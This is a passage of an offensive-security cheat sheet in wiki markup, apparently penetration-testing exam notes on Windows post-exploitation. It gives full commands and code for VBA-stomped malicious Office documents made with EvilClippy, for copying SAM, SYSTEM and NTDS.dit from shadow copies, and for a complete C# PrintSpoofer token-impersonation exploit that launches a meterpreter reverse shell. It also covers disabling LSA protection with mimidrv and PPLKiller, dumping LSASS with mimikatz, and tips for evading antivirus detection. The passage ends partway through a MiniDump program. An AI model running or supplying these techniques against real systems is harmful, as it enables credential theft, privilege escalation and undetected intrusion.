* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; vssadmin create shadow /for=C:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
